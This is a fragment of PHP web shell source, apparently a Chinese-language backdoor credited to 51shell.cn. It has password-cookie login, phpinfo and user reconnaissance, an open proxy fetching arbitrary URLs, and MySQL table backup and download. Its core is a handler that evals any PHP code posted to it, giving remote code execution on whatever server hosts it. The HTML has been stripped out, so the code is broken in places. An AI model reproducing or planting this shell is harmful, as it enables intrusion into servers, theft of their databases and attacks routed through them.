Http://www.51shell.cn[s4t]"; /*===================== 配置结束 =====================*/ // 允许程序在 register_globals = off 的环境下工作 $onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals'); if ($onoff != 1) { @extract($_POST, EXTR_SKIP); @extract($_GET, EXTR_SKIP); } $self = $_SERVER['PHP_SELF']; $dis_func = get_cfg_var("disable_functions"); /*===================== 身份验证 =====================*/ if($admin['check'] == "1") { if ($_GET['action'] == "logout") { setcookie ("adminpass", ""); echo ""; echo "注销成功......"; exit; } if ($_POST['do'] == 'login') { $thepass=trim($_POST['adminpass']); if ($admin['pass'] == $thepass) { setcookie ("adminpass",$thepass,time()+(1*24*3600)); echo ""; echo "登陆成功......"; exit; } } if (isset($_COOKIE['adminpass'])) { if ($_COOKIE['adminpass'] != $admin['pass']) { loginpage(); } } else { loginpage(); } } /*===================== 验证结束 =====================*/ // 判断 magic_quotes_gpc 状态 if (get_magic_quotes_gpc()) { $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); } // 查看PHPINFO if ($_GET['action'] == "phpinfo") { echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>"; exit; } if($_GET['action'] == "nowuser") { $user = get_current_user(); if(!$user) $user = "报告长官,主机变态,无法获取当前进行用户名!"; echo"当前进程用户名:$user"; exit; } if(isset($_POST['phpcode'])){ eval("?".">$_POST[phpcode]"); exit; } // 在线代理 if (isset($_POST['url'])) { $proxycontents = @file_get_contents($_POST['url']); echo ($proxycontents) ? $proxycontents : "
获取 URL 内容失败
'.$_SERVER['HTTP_HOST'].' | '.date("Y年m月d日 h:i:s",time()).' | '.$_SERVER['REMOTE_ADDR'].' |
请选择表: | '.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).' |
备份数据所保存的路径: | '.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').' |
直接下载到本地 (适合数据量较小的数据库) |
".$info[$i][0]." | ".$info[$i][1]." | \n"; } } elseif ($a == 1) { for ($i=13;$i<=24;$i++) { echo "
".$info[$i][0]." | ".$info[$i][1]." |
".$info[$i][0]." | ".$info[$i][1]." |
Copyright (C) 2005 Sai All Rights Reserved. |
".$title." [返回] | \n"; echo "
".$content." | \n"; echo "